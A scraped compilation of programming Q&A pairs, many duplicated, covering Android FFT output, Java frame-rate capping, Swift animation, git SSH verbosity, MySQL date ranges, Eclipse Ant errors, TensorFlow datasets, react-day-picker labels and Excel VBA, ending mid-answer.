So if I understand this correctly, my output here should be from -N to 0 to N. -N to 0 should look just like 0 to N. But when I look at these amplitudes, I don't see any mirrored data. Google seems to indicate that the output should be from 0 to N just on both sides of the spectrum. So I should be able to take the data from (output.length-1)/2 to output.length-1. The negative amplitudes are moving faster than the sample rate and the positive amplitudes are moving slower than the sample rate. Did I understand this correctly?

答:
The frequency at FFT output sample k is given by:

```<code>Fk = k * Fs / N,    k = 0,1,...,N-1
</code>```

where

Fs is the sampling frequency of the time series input

N is the number of samples used to compute the FFT

The two sides of the spectrum refers to the positive and negative frequencies in the output of the FFT.  The FFT forces the frequency output to be periodic with a period of Fs.  If you look at the FFT output, it covers the frequencies from 0 to Fs.  It is often advantageous to view the spectrum over the range of -0.5*Fs to 0.5*Fs instead by shifting the FFT output from 0.5*Fs -> Fs to -0.5*Fs -> 0 since they are equal because of the periodicity.

For real-valued signals, like the ones you have in audio processing, the negative frequency output will be a mirror image of the positive frequencies.  Because of this, often only one side of the spectrum is used when analyzing real signals.

Another important point is the significance of 0.5*Fs which is known as the Nyquist Frequency.  A signal can only accurately represent frequencies up to the Nyquist frequency and anything above it will be aliased (folded) back onto the spectrum causing distortion.

So really all you should worry about for visualization purposes are the FFT output samples corresponding to the range of frequencies from 0 to Fs/2 since those are the meaningful samples for a real signal with sampling rate Fs.

Body:
First time here so sorry in advance for any butchered formatting.

So I am completely new to DSP so I have only a very general understanding of the Fourier Transform. I am trying to build a visualizer app for Android SDK 9, which includes a Visualizer class in android.media.audiofx.Visualizer
http://developer.android.com/reference/android/media/audiofx/Visualizer.html

The javadoc for the method getFft(), which is what I am using states:

"Returns a frequency capture of
  currently playing audio content. The
  capture is a 8-bit magnitude FFT. Note
  that the size of the FFT is half of
  the specified capture size but both
  sides of the spectrum are returned
  yielding in a number of bytes equal to
  the capture size."

First of all, what does "both sides of the spectrum" mean? How does this output differ from a standard FFT?

Here is some sample output of the byte array, getFft() was given 124 points to keep it simple and I grabbed the first 31 bins. Here are the magnitudes of the first 31 bins:

{123, -2, -23, -3, 6, -16, 15, -10, -8, -12, 9, -9, 17, -6, -18, -22, -8, 4, -5, -2, 10, -3, -11, 3, -4, -11, -8, 15, 16, 11, -12, 12}

Any help or explanation would be greatly appreciated!

Edit: <s> So after staring at a bunch of graphs it looks like part of my problem is Google does not specify what unit is being used. Almost all other measurements are done in mHz, would it be fair to assume that the FTT output is also in mHz? Is there a place where I can see the source code of the Visualizer class so maybe I can figure out what the hell is actually going on under the hood? </s>

I went ahead and grabbed all of the output of getFft()

93, -2, -28, -16, -21, 19, 44, -16, 3, 16, -9, -4, 0, -2, 21, 16, -3, 1, 2, 4, -3, 5, 5, 10, 6, 4, -9, 7, -2, -1, 2, 11, -1, 5, -8, -2, -1, 4, -5, 5, 1, 3, -6, -1, -5, 0, 0, 0, -3, 5, -4, -6, -2, -2, -1, 2, -3, 0, 1, -3, -4, -3, 1, 1, 0, -2, -1, -1, 0, -5, 0, 4, -1, 1, 1, -1, 1, -1, -3, 2, 1, 2, -2, 1, 0, -1, -2, 2, -3, 4, -2, -2, 0, 1, -4, 0, -4, 2, -1, 0, -3, -1, -1, -1, -5, 2, -2, -2, 0, -3, -2, 1, -5, -2, 0, 0, 0, -2, -2, -1, -1, -1, -2, 0, 3, -3, -1, 0

So if I understand this correctly, my output here should be from -N to 0 to N. -N to 0 should look just like 0 to N. But when I look at these amplitudes, I don't see any mirrored data. Google seems to indicate that the output should be from 0 to N just on both sides of the spectrum. So I should be able to take the data from (output.length-1)/2 to output.length-1. The negative amplitudes are moving faster than the sample rate and the positive amplitudes are moving slower than the sample rate. Did I understand this correctly?

Body:
The frequency at FFT output sample k is given by:

Fk = k * Fs / N,    k = 0,1,...,N-1

where

Fs is the sampling frequency of the time series input

N is the number of samples used to compute the FFT

The two sides of the spectrum refers to the positive and negative frequencies in the output of the FFT.  The FFT forces the frequency output to be periodic with a period of Fs.  If you look at the FFT output, it covers the frequencies from 0 to Fs.  It is often advantageous to view the spectrum over the range of -0.5*Fs to 0.5*Fs instead by shifting the FFT output from 0.5*Fs -> Fs to -0.5*Fs -> 0 since they are equal because of the periodicity.

For real-valued signals, like the ones you have in audio processing, the negative frequency output will be a mirror image of the positive frequencies.  Because of this, often only one side of the spectrum is used when analyzing real signals.

Another important point is the significance of 0.5*Fs which is known as the Nyquist Frequency.  A signal can only accurately represent frequencies up to the Nyquist frequency and anything above it will be aliased (folded) back onto the spectrum causing distortion.

So really all you should worry about for visualization purposes are the FFT output samples corresponding to the range of frequencies from 0 to Fs/2 since those are the meaningful samples for a real signal with sampling rate Fs.


问:
how to set a max fps in java
I was making a 2D game, and I realized that the FPS was around 500, but it kept dropping to 440 and that  made horrible lag spikes so I wanted to set a max fps to stop the lag spikes, but I don't know how to do that. Game loop:</p>

```<code>    public void run(){
    this.requestFocus();
    long lastTime = System.nanoTime();
    double amountOfTicks = 60.0;
    double ns = 1000000000/amountOfTicks;
    double delta = 0;
    long timer = System.currentTimeMillis();
    int frames = 0;
    while(running){
        long now = System.nanoTime();
        delta += (now - lastTime) / ns;
        lastTime = now;
        while(delta >= 1){
            tick();
            delta--;
        }
        if(running)
            render();
    frames++;

    if(System.currentTimeMillis() - timer > 1000){
        timer += 1000;
        System.out.println("FPS: " + frames);
        frames = 0;
        }
    }
    stop();
}
</code>```

答:
Just use the same control mechanism you used to control the number of ticks. Try this, and put the max FPS you desire in the 'amountOfRenders' variable.</p>

```<code>public void run(){
    this.requestFocus();
    long lastTime = System.nanoTime();
    double amountOfTicks = 60.0;
    double ns = 1000000000/amountOfTicks;
    double delta = 0;
    long timer = System.currentTimeMillis();
    int frames = 0;
    int ticks = 0;

    long renderLastTime=System.nanoTime();
    double amtOfRenders = 200.0;//MAX FPS
    double renderNs=1000000000/amtOfRenders;
    double renderDelta = 0;

    while(running){
        long now = System.nanoTime();
        delta += (now - lastTime) / ns;
        lastTime = now;
        while(delta >= 1){
            tick();
            ticks++;
            delta--;
        }

        now = System.nanoTime();
        renderDelta += (now - renderLastTime) / renderNs;
        renderLastTime = now;
        while(running && renderDelta >= 1){
            render();
            frames++;
            renderDelta--;
        }

        if(System.currentTimeMillis() - timer > 1000){
            timer += 1000;
            System.out.println("FPS: " + frames);
            System.out.println("Ticks per second: " + ticks);
            frames = 0;
            ticks = 0;
        }
    }
    stop();
}
</code>```

Title: how to set a max fps in java

Body:
I was making a 2D game, and I realized that the FPS was around 500, but it kept dropping to 440 and that  made horrible lag spikes so I wanted to set a max fps to stop the lag spikes, but I don't know how to do that. Game loop:

    public void run(){
    this.requestFocus();
    long lastTime = System.nanoTime();
    double amountOfTicks = 60.0;
    double ns = 1000000000/amountOfTicks;
    double delta = 0;
    long timer = System.currentTimeMillis();
    int frames = 0;
    while(running){
        long now = System.nanoTime();
        delta += (now - lastTime) / ns;
        lastTime = now;
        while(delta >= 1){
            tick();
            delta--;
        }
        if(running)
            render();
    frames++;

    if(System.currentTimeMillis() - timer > 1000){
        timer += 1000;
        System.out.println("FPS: " + frames);
        frames = 0;
        }
    }
    stop();
}

Body:
Just use the same control mechanism you used to control the number of ticks. Try this, and put the max FPS you desire in the 'amountOfRenders' variable.

public void run(){
    this.requestFocus();
    long lastTime = System.nanoTime();
    double amountOfTicks = 60.0;
    double ns = 1000000000/amountOfTicks;
    double delta = 0;
    long timer = System.currentTimeMillis();
    int frames = 0;
    int ticks = 0;

    long renderLastTime=System.nanoTime();
    double amtOfRenders = 200.0;//MAX FPS
    double renderNs=1000000000/amtOfRenders;
    double renderDelta = 0;

    while(running){
        long now = System.nanoTime();
        delta += (now - lastTime) / ns;
        lastTime = now;
        while(delta >= 1){
            tick();
            ticks++;
            delta--;
        }

        now = System.nanoTime();
        renderDelta += (now - renderLastTime) / renderNs;
        renderLastTime = now;
        while(running && renderDelta >= 1){
            render();
            frames++;
            renderDelta--;
        }

        if(System.currentTimeMillis() - timer > 1000){
            timer += 1000;
            System.out.println("FPS: " + frames);
            System.out.println("Ticks per second: " + ticks);
            frames = 0;
            ticks = 0;
        }
    }
    stop();
}


问:
UIView animate doesn't finish before Label is hidden
My label is disappearing before the animation runs.

The animation should run after a button is pressed and slide out a label and the Button. But when I press the button they are both hidden before the animation can slide them out.

```<code>func nextGame() {

    UIView.animate(withDuration: 3, delay: 0.0, options: .allowAnimatedContent, animations: {
            NSLog("Animation started")
            self.labelWinningPlayer.center = CGPoint(x: self.labelWinningPlayer.center.x + 500, y: self.labelWinningPlayer.center.y)
            self.buttonNextGameLabel.center = CGPoint(x: self.buttonNextGameLabel.center.x + 500, y: self.buttonNextGameLabel.center.y)
        }, completion: { (finished: Bool) in
            NSLog("Animation stopped")
            self.labelWinningPlayer.isHidden = true
            self.buttonNextGameLabel.isHidden = true
    })

    //sets buttons to start position
    labelWinningPlayer.center = CGPoint(x: labelWinningPlayer.center.x - 1000, y: labelWinningPlayer.center.y)
    buttonNextGameLabel.center = CGPoint(x: buttonNextGameLabel.center.x - 1000, y: buttonNextGameLabel.center.y)

    //hides buttons that lay under the animated buttons
    for i in 1...9 {

        if let button = view.viewWithTag(i) as? UIButton {
            button.setImage(nil, for: .normal)
        }
    }
    activeGame = true
}

//animation should get started with this button
@IBAction func buttenNextGameAction(_ sender: Any) {
    nextGame()
}

//slides buttons in
func slideNextGameButtons() {

    labelWinningPlayer.isHidden = false
    buttonNextGameLabel.isHidden = false

    UIView.animate(withDuration: 0.5, animations: {

        self.labelWinningPlayer.center = CGPoint(x: self.labelWinningPlayer.center.x + 500, y: self.labelWinningPlayer.center.y)
        self.buttonNextGameLabel.center = CGPoint(x: self.buttonNextGameLabel.center.x + 500, y: self.buttonNextGameLabel.center.y)
    })
}
</code>```

Here is the NSLog. According to that it's running the full animation...

```<code>2017-11-15 23:26:17.321465 [2442:245232] Animation started
2017-11-15 23:26:20.325137 [2442:245232] Animation stopped
</code>```

Thanks for your help in advance!

答:
Your code works perfectly:

Therefore something that you have not told us about is causing whatever the problem is.

EDIT: And yes indeed, it was the code you didn't tell us about that causes the problem. You told us about this:

```<code>UIView.animate(withDuration: 3, delay: 0.0, options: .allowAnimatedContent, animations: {
        self.labelWinningPlayer.center = CGPoint(x: self.labelWinningPlayer.center.x + 500, y: self.labelWinningPlayer.center.y)
        self.buttonNextGameLabel.center = CGPoint(x: self.buttonNextGameLabel.center.x + 500, y: self.buttonNextGameLabel.center.y)
    }, completion: { (finished: Bool) in
        self.labelWinningPlayer.isHidden = true
        self.buttonNextGameLabel.isHidden = true
})
</code>```

But you didn't tell us about the next lines, which are this:

```<code>labelWinningPlayer.center = CGPoint(x: labelWinningPlayer.center.x - 1000, y: labelWinningPlayer.center.y)
buttonNextGameLabel.center = CGPoint(x: buttonNextGameLabel.center.x - 1000, y: buttonNextGameLabel.center.y)
</code>```

Those lines cancel the animation!

It seems you have not understood what an animation is. You animate first, and anything you want done after the animation, you put into the completion function. But those lines are something you want done after the animation. So put them into the completion function! Like this:

```<code>UIView.animate(withDuration: 3, delay: 0.0, options: .allowAnimatedContent, animations: {
        self.labelWinningPlayer.center = CGPoint(x: self.labelWinningPlayer.center.x + 500, y: self.labelWinningPlayer.center.y)
        self.buttonNextGameLabel.center = CGPoint(x: self.buttonNextGameLabel.center.x + 500, y: self.buttonNextGameLabel.center.y)
    }, completion: { (finished: Bool) in
        self.labelWinningPlayer.isHidden = true
        self.buttonNextGameLabel.isHidden = true
        labelWinningPlayer.center = CGPoint(x: labelWinningPlayer.center.x - 1000, y: labelWinningPlayer.center.y)
        buttonNextGameLabel.center = CGPoint(x: buttonNextGameLabel.center.x - 1000, y: buttonNextGameLabel.center.y)
        // ... and everything else in the method goes here too
})
</code>```

And everything else in the method needs to be moved in there too. Everything that is to happen after the completion of the animation goes into the completion function. That is what completion means!

Body:
My label is disappearing before the animation runs.

The animation should run after a button is pressed and slide out a label and the Button. But when I press the button they are both hidden before the animation can slide them out.

func nextGame() {

    UIView.animate(withDuration: 3, delay: 0.0, options: .allowAnimatedContent, animations: {
            NSLog("Animation started")
            self.labelWinningPlayer.center = CGPoint(x: self.labelWinningPlayer.center.x + 500, y: self.labelWinningPlayer.center.y)
            self.buttonNextGameLabel.center = CGPoint(x: self.buttonNextGameLabel.center.x + 500, y: self.buttonNextGameLabel.center.y)
        }, completion: { (finished: Bool) in
            NSLog("Animation stopped")
            self.labelWinningPlayer.isHidden = true
            self.buttonNextGameLabel.isHidden = true
    })

    //sets buttons to start position
    labelWinningPlayer.center = CGPoint(x: labelWinningPlayer.center.x - 1000, y: labelWinningPlayer.center.y)
    buttonNextGameLabel.center = CGPoint(x: buttonNextGameLabel.center.x - 1000, y: buttonNextGameLabel.center.y)

    //hides buttons that lay under the animated buttons
    for i in 1...9 {

        if let button = view.viewWithTag(i) as? UIButton {
            button.setImage(nil, for: .normal)
        }
    }
    activeGame = true
}

//animation should get started with this button
@IBAction func buttenNextGameAction(_ sender: Any) {
    nextGame()
}

//slides buttons in
func slideNextGameButtons() {

    labelWinningPlayer.isHidden = false
    buttonNextGameLabel.isHidden = false

    UIView.animate(withDuration: 0.5, animations: {

        self.labelWinningPlayer.center = CGPoint(x: self.labelWinningPlayer.center.x + 500, y: self.labelWinningPlayer.center.y)
        self.buttonNextGameLabel.center = CGPoint(x: self.buttonNextGameLabel.center.x + 500, y: self.buttonNextGameLabel.center.y)
    })
}

Here is the NSLog. According to that it's running the full animation...

2017-11-15 23:26:17.321465 [2442:245232] Animation started
2017-11-15 23:26:20.325137 [2442:245232] Animation stopped

Thanks for your help in advance!

Body:
Your code works perfectly:

Therefore something that you have not told us about is causing whatever the problem is.

EDIT: And yes indeed, it was the code you didn't tell us about that causes the problem. You told us about this:

UIView.animate(withDuration: 3, delay: 0.0, options: .allowAnimatedContent, animations: {
        self.labelWinningPlayer.center = CGPoint(x: self.labelWinningPlayer.center.x + 500, y: self.labelWinningPlayer.center.y)
        self.buttonNextGameLabel.center = CGPoint(x: self.buttonNextGameLabel.center.x + 500, y: self.buttonNextGameLabel.center.y)
    }, completion: { (finished: Bool) in
        self.labelWinningPlayer.isHidden = true
        self.buttonNextGameLabel.isHidden = true
})

But you didn't tell us about the next lines, which are this:

labelWinningPlayer.center = CGPoint(x: labelWinningPlayer.center.x - 1000, y: labelWinningPlayer.center.y)
buttonNextGameLabel.center = CGPoint(x: buttonNextGameLabel.center.x - 1000, y: buttonNextGameLabel.center.y)

Those lines cancel the animation!

It seems you have not understood what an animation is. You animate first, and anything you want done after the animation, you put into the completion function. But those lines are something you want done after the animation. So put them into the completion function! Like this:

UIView.animate(withDuration: 3, delay: 0.0, options: .allowAnimatedContent, animations: {
        self.labelWinningPlayer.center = CGPoint(x: self.labelWinningPlayer.center.x + 500, y: self.labelWinningPlayer.center.y)
        self.buttonNextGameLabel.center = CGPoint(x: self.buttonNextGameLabel.center.x + 500, y: self.buttonNextGameLabel.center.y)
    }, completion: { (finished: Bool) in
        self.labelWinningPlayer.isHidden = true
        self.buttonNextGameLabel.isHidden = true
        labelWinningPlayer.center = CGPoint(x: labelWinningPlayer.center.x - 1000, y: labelWinningPlayer.center.y)
        buttonNextGameLabel.center = CGPoint(x: buttonNextGameLabel.center.x - 1000, y: buttonNextGameLabel.center.y)
        // ... and everything else in the method goes here too
})

And everything else in the method needs to be moved in there too. Everything that is to happen after the completion of the animation goes into the completion function. That is what completion means!


问:
How can I run git commands on Windows with SSH verbose mode?
This is the Windows version of How can I run git push/pull commands with SSH verbose mode?

There are times where you just need to debug git's usage of SSH.

OpenSSH has a -v flag for verbose output, but how do you get git to use it?

How can I run git commands on Windows with SSH verbose mode?

答:
You can force git to provide verbose ssh output with the "GIT_SSH_COMMAND" environment variable.

For example, to get verbose output from OpenSSH-For-Windows for a git clone command, just open a command prompt and enter

```<code>set GIT_SSH_COMMAND="C:\Program Files\OpenSSH-Win64\ssh.exe" -vvv
git clone <repo_ssh_url>
</code>```

Note the location of the quotation marks.

Body:
You can force git to provide verbose ssh output with the "GIT_SSH_COMMAND" environment variable.

For example, to get verbose output from OpenSSH-For-Windows for a git clone command, just open a command prompt and enter

set GIT_SSH_COMMAND="C:\Program Files\OpenSSH-Win64\ssh.exe" -vvv
git clone <repo_ssh_url>

Note the location of the quotation marks.


答:
0 - 5

```<code>SELECT * FROM users
WHERE
start_date BETWEEN (CURDATE() - INTERVAL 5 YEAR) AND CURDATE();
</code>```

5 - 10

```<code>SELECT * FROM users
WHERE
start_date BETWEEN (CURDATE() - INTERVAL 10 YEAR) AND (CURDATE() - INTERVAL 5 YEAR);
</code>```

10 - 15

```<code>SELECT * FROM users
WHERE
start_date BETWEEN (CURDATE() - INTERVAL 15 YEAR) AND (CURDATE() - INTERVAL 10 YEAR);
</code>```

Body:
I am trying to get back rows that are between year ranges, such as from 0-5 years, 5-10 years, 10-15 etc.

So far, I've only been able to product between 0-5 but need some help on querying between 5-10 years etc.

SELECT *
FROM users
WHERE start_date >= DATE_SUB(NOW(),INTERVAL 5 YEAR)

I've tried using the BETWEEN function, but could be using it incorrectly. Open to suggestions.

I'm not a fan of hard coding values in for the dates because I don't want to go back every few years and change it.

Body:
0 - 5

SELECT * FROM users
WHERE
start_date BETWEEN (CURDATE() - INTERVAL 5 YEAR) AND CURDATE();

5 - 10

SELECT * FROM users
WHERE
start_date BETWEEN (CURDATE() - INTERVAL 10 YEAR) AND (CURDATE() - INTERVAL 5 YEAR);

10 - 15

SELECT * FROM users
WHERE
start_date BETWEEN (CURDATE() - INTERVAL 15 YEAR) AND (CURDATE() - INTERVAL 10 YEAR);


问:
Ant not working in Eclipse Kepler (Java Virtual Machine Launcher - A Java Exception has occured)
I recently upgraded to Eclipse Kepler, and am having issues with Ant.  I am getting the Java Virtual Machine Launcher - A Java Exception has occurred error no matter which target I choose in my build files.

I tried reinstalling my JDK, and I still get the error.  I am running the 7u25 version of the JDK.  I have my JAVA_HOME environment variable set to C:\Progra~1\Java\jdk1.7.0_25, so I don't think this is the problem.  What else could be causing the problem?

EDIT: I also tested ant in the command line and it works just fine.  Is this a bug in Kepler?

EDIT 2: Here is the log of the errors:

```<code>org.eclipse.core.runtime.CoreException: Could not find one or more classes: "org.apache.tools.ant.BuildLogger". Please check the Ant classpath.
at org.eclipse.ant.core.AntRunner.problemLoadingClass(AntRunner.java:467)
at org.eclipse.ant.core.AntRunner.run(AntRunner.java:380)
at org.eclipse.ant.internal.launching.launchConfigurations.AntLaunchDelegate.runInSameVM(AntLaunchDelegate.java:307)
at org.eclipse.ant.internal.launching.launchConfigurations.AntLaunchDelegate.launch(AntLaunchDelegate.java:260)
at org.eclipse.debug.internal.core.LaunchConfiguration.launch(LaunchConfiguration.java:858)
at org.eclipse.debug.internal.core.LaunchConfiguration.launch(LaunchConfiguration.java:707)
at org.eclipse.debug.internal.core.LaunchConfiguration.launch(LaunchConfiguration.java:700)
at org.eclipse.core.externaltools.internal.model.ExternalToolBuilder.launchBuild(ExternalToolBuilder.java:181)
at org.eclipse.core.externaltools.internal.model.ExternalToolBuilder.doBuildBasedOnScope(ExternalToolBuilder.java:169)
at org.eclipse.core.externaltools.internal.model.ExternalToolBuilder.build(ExternalToolBuilder.java:88)
at org.eclipse.core.internal.events.BuildManager$2.run(BuildManager.java:726)
at org.eclipse.core.runtime.SafeRunner.run(SafeRunner.java:42)
at org.eclipse.core.internal.events.BuildManager.basicBuild(BuildManager.java:199)
at org.eclipse.core.internal.events.BuildManager.basicBuild(BuildManager.java:239)
at org.eclipse.core.internal.events.BuildManager$1.run(BuildManager.java:292)
at org.eclipse.core.runtime.SafeRunner.run(SafeRunner.java:42)
at org.eclipse.core.internal.events.BuildManager.basicBuild(BuildManager.java:295)
at org.eclipse.core.internal.events.BuildManager.basicBuildLoop(BuildManager.java:351)
at org.eclipse.core.internal.events.BuildManager.build(BuildManager.java:374)
at org.eclipse.core.internal.resources.Workspace.buildInternal(Workspace.java:514)
at org.eclipse.core.internal.resources.Workspace.build(Workspace.java:423)
at org.eclipse.debug.internal.core.LaunchConfiguration.launch(LaunchConfiguration.java:830)
at org.eclipse.debug.internal.core.LaunchConfiguration.launch(LaunchConfiguration.java:707)
at org.eclipse.debug.internal.ui.DebugUIPlugin.buildAndLaunch(DebugUIPlugin.java:1018)
at org.eclipse.debug.internal.ui.DebugUIPlugin$8.run(DebugUIPlugin.java:1222)
at org.eclipse.core.internal.jobs.Worker.run(Worker.java:53)

Caused by: java.lang.NoClassDefFoundError: org/apache/tools/ant/BuildLogger
at java.lang.Class.getDeclaredConstructors0(Native Method)
at java.lang.Class.privateGetDeclaredConstructors(Unknown Source)
at java.lang.Class.getConstructor0(Unknown Source)
at java.lang.Class.newInstance(Unknown Source)
at org.eclipse.ant.core.AntRunner.run(AntRunner.java:324)
... 24 more

Caused by: java.lang.ClassNotFoundException: org.apache.tools.ant.BuildLogger
at java.net.URLClassLoader$1.run(Unknown Source)
at java.net.URLClassLoader$1.run(Unknown Source)
at java.security.AccessController.doPrivileged(Native Method)
at java.net.URLClassLoader.findClass(Unknown Source)
at org.eclipse.ant.internal.core.AntClassLoader.findClass(AntClassLoader.java:54)
at java.lang.ClassLoader.loadClass(Unknown Source)
at java.lang.ClassLoader.loadClass(Unknown Source)
... 29 more
</code>```

答:
IDE like (Eclipse-Oxygen) will have default ant versions. If your ant build XML is not compatible with higher version of ANT.

Lower/Higher the ANT version to the suitable one. JDK is not compatible with all ANT Builds. For Instance, ANT 1.9.2 is the last version to support JAVA 7.

So we need to match the JDK version and ANT version's respectively. Override the IDE default version using Preferences -> ANT -> Runtime -> Click on Ant Home (and choose the new version of ANT Home there, that will override the Ant Home Entries)

Body:
I recently upgraded to Eclipse Kepler, and am having issues with Ant.  I am getting the Java Virtual Machine Launcher - A Java Exception has occurred error no matter which target I choose in my build files.

I tried reinstalling my JDK, and I still get the error.  I am running the 7u25 version of the JDK.  I have my JAVA_HOME environment variable set to C:\Progra~1\Java\jdk1.7.0_25, so I don't think this is the problem.  What else could be causing the problem?

EDIT: I also tested ant in the command line and it works just fine.  Is this a bug in Kepler?

EDIT 2: Here is the log of the errors:

org.eclipse.core.runtime.CoreException: Could not find one or more classes: "org.apache.tools.ant.BuildLogger". Please check the Ant classpath.
at org.eclipse.ant.core.AntRunner.problemLoadingClass(AntRunner.java:467)
at org.eclipse.ant.core.AntRunner.run(AntRunner.java:380)
at org.eclipse.ant.internal.launching.launchConfigurations.AntLaunchDelegate.runInSameVM(AntLaunchDelegate.java:307)
at org.eclipse.ant.internal.launching.launchConfigurations.AntLaunchDelegate.launch(AntLaunchDelegate.java:260)
at org.eclipse.debug.internal.core.LaunchConfiguration.launch(LaunchConfiguration.java:858)
at org.eclipse.debug.internal.core.LaunchConfiguration.launch(LaunchConfiguration.java:707)
at org.eclipse.debug.internal.core.LaunchConfiguration.launch(LaunchConfiguration.java:700)
at org.eclipse.core.externaltools.internal.model.ExternalToolBuilder.launchBuild(ExternalToolBuilder.java:181)
at org.eclipse.core.externaltools.internal.model.ExternalToolBuilder.doBuildBasedOnScope(ExternalToolBuilder.java:169)
at org.eclipse.core.externaltools.internal.model.ExternalToolBuilder.build(ExternalToolBuilder.java:88)
at org.eclipse.core.internal.events.BuildManager$2.run(BuildManager.java:726)
at org.eclipse.core.runtime.SafeRunner.run(SafeRunner.java:42)
at org.eclipse.core.internal.events.BuildManager.basicBuild(BuildManager.java:199)
at org.eclipse.core.internal.events.BuildManager.basicBuild(BuildManager.java:239)
at org.eclipse.core.internal.events.BuildManager$1.run(BuildManager.java:292)
at org.eclipse.core.runtime.SafeRunner.run(SafeRunner.java:42)
at org.eclipse.core.internal.events.BuildManager.basicBuild(BuildManager.java:295)
at org.eclipse.core.internal.events.BuildManager.basicBuildLoop(BuildManager.java:351)
at org.eclipse.core.internal.events.BuildManager.build(BuildManager.java:374)
at org.eclipse.core.internal.resources.Workspace.buildInternal(Workspace.java:514)
at org.eclipse.core.internal.resources.Workspace.build(Workspace.java:423)
at org.eclipse.debug.internal.core.LaunchConfiguration.launch(LaunchConfiguration.java:830)
at org.eclipse.debug.internal.core.LaunchConfiguration.launch(LaunchConfiguration.java:707)
at org.eclipse.debug.internal.ui.DebugUIPlugin.buildAndLaunch(DebugUIPlugin.java:1018)
at org.eclipse.debug.internal.ui.DebugUIPlugin$8.run(DebugUIPlugin.java:1222)
at org.eclipse.core.internal.jobs.Worker.run(Worker.java:53)

Caused by: java.lang.NoClassDefFoundError: org/apache/tools/ant/BuildLogger
at java.lang.Class.getDeclaredConstructors0(Native Method)
at java.lang.Class.privateGetDeclaredConstructors(Unknown Source)
at java.lang.Class.getConstructor0(Unknown Source)
at java.lang.Class.newInstance(Unknown Source)
at org.eclipse.ant.core.AntRunner.run(AntRunner.java:324)
... 24 more

Caused by: java.lang.ClassNotFoundException: org.apache.tools.ant.BuildLogger
at java.net.URLClassLoader$1.run(Unknown Source)
at java.net.URLClassLoader$1.run(Unknown Source)
at java.security.AccessController.doPrivileged(Native Method)
at java.net.URLClassLoader.findClass(Unknown Source)
at org.eclipse.ant.internal.core.AntClassLoader.findClass(AntClassLoader.java:54)
at java.lang.ClassLoader.loadClass(Unknown Source)
at java.lang.ClassLoader.loadClass(Unknown Source)
... 29 more


问:
Modify a react library
I have a task from UX designers to create a datepicker that displays multiple months + time.

In our project, we are currently using react-datepicker library to manage our datepickers.

This is the react component used in our project:
https://hacker0x01.github.io/react-datepicker/

The react-datepicker supports both multiple months and time.

The library itself puts the time on the right side of the calendar. However, the UX designers want the time to be at the bottom.

Is there a proper way in doing this without messing around the date-picker library itself? I know it is a big no no to mess around with the library itself, but what options do I have?

Is there a way around this?

If not, I might have to renegotiate with the UX designers.

答: I decided to create a reusable date range picker component from scratch. I will not be using the react-datepicker at all for this case.</p>

Title: Modify a react library


问:
using mod_rewrite to create SEO friendly URLS
I've been searching google for this but can't find the solution to my exact needs. Basically I've already got my URL's named how I like them i.e. "http://mysite.com/blog/page1.php"

What I'm trying to achieve (if it's possible!) is to use rewrite to alter the existing URLS to: "http://mysite.com/blog/page1"

The problem I've come across is I've found examples that will do this if the user enters "http://mysite.com/blog/page1" into the broweser which is great, however I need it to work for the existing links in google as not to loose traffic, so incoming URLS "http://mysite.com/blog/page1.php" are directed to "http://mysite.com/blog/page1".

答:
The 1st example (Canonical URLs) at the following is pretty much what you want:

http://httpd.apache.org/docs/2.0/misc/rewriteguide.html#url


问:
on the fly generation with Dataset api tensorflow
I have a function which produces feature and target tensors.  E.g.

```<code>x,t = myfunc() ##x,t tensors
</code>```

How can I integrate this with TensorFlow's dataset API for continuous training?  Ideally I would like to use dataset to set things like batch, transformations.

Edit for clarification: The problem being I would like to not just put x and t in my graph but make a dataset from them so that I can use the same dataset processing that I have implemented for (normal) finite datasets I can load into memory and feed into the same graph using an initializable iterator.

答:
If x and t are tensors, you can create a dataset by calling tf.data.Dataset.from_tensors or tf.data.Dataset.from_tensor_slices (documentation here).

The difference between them is that from_tensors combines the input tensors into a single element in the dataset. from_tensor_slices creates a dataset with one element for each slice.

Body:
I have a function which produces feature and target tensors.  E.g.

x,t = myfunc() ##x,t tensors

How can I integrate this with TensorFlow's dataset API for continuous training?  Ideally I would like to use dataset to set things like batch, transformations.

Edit for clarification: The problem being I would like to not just put x and t in my graph but make a dataset from them so that I can use the same dataset processing that I have implemented for (normal) finite datasets I can load into memory and feed into the same graph using an initializable iterator.


问:
react-day-picker: change arial-label attribute
The current aria-label format for the react-day-picker is

```<code>  aria-label="Sun Oct 29 2017"
</code>```

but how to change it to different format like

```<code>  aria-label="29, OCTOBER SUNDAY 2017"
</code>```

reading through the documentation couldnt help in finding out whether this can be customized

答:
You can change the formatDay function:

http://react-day-picker.js.org/api/LocaleUtils

to return the string you prefer, e.g.:

```<code>import DayPicker, { LocaleUtils } from "react-day-picker";

function formatDay(d, locale) {
    return <span>{d.getDate()}-s{d.getMonth()}-{d.getFullYear()}</span>
}

<DayPicker localeUtils={ { ...LocaleUtils, formatDay } } />
</code>```

Body:
The current aria-label format for the react-day-picker is

  aria-label="Sun Oct 29 2017"

but how to change it to different format like

  aria-label="29, OCTOBER SUNDAY 2017"

reading through the documentation couldnt help in finding out whether this can be customized

Body:
You can change the formatDay function:

http://react-day-picker.js.org/api/LocaleUtils

to return the string you prefer, e.g.:

import DayPicker, { LocaleUtils } from "react-day-picker";

function formatDay(d, locale) {
    return <span>{d.getDate()}-s{d.getMonth()}-{d.getFullYear()}</span>
}

<DayPicker localeUtils={ { ...LocaleUtils, formatDay } } />


问:
How can I have a deadline for an issue at Microsoft GitHub?
How can I set a deadline for issues at Microsoft Github?</p>

答:
It is not the most intuitive of interfaces, but in Github's Issues view for your project has a tab called Milestones.

With this feature you can set up a Milestone for your project (a release for instance) and set a due date for the milestone.

You can then go back to your list of issues or pull requests, select some and add them to a Milestone.

The Milestone can then track progress (number of issues or pull requests closed  divided by the total number assigned to the Milestone)

You can read more about this feature on the Microsoft Github help pages

ContentLicense: CC BY-SA 4.0


问:
Excel VBA Macro to add a blank row when the value in column A is 1
I wanted to add a row in excel vba when ever the value in column A is 1, here is the code I wrote, but this returns a "subscript out of range error". What am I doing wrong? </p>

```<code>Sub InsertRow()

    Dim Col As Variant
    Dim BlankRows As Long
    Dim LastRow As Long
    Dim R As Long
    Dim StartRow As Long
    Application.ScreenUpdating = False
        Col = "A"
        StartRow = 1
        LastRow = 20
        Worksheets("Sheet1").Activate
            For R = StartRow To LastRow
                If Cells(R, Col) = 1 Then
                Cells(R, Col).EntireRow.Insert Shift:=xlDown
                End If
            Next R

Application.ScreenUpdating = True

End Sub
</code>```

答:
```<code>Sub InsertRow()

    Dim Col As Variant
    Dim BlankRows As Long
    Dim LastRow As Long
    Dim R As Long
    Dim StartRow As Long
    Application.ScreenUpdating = False
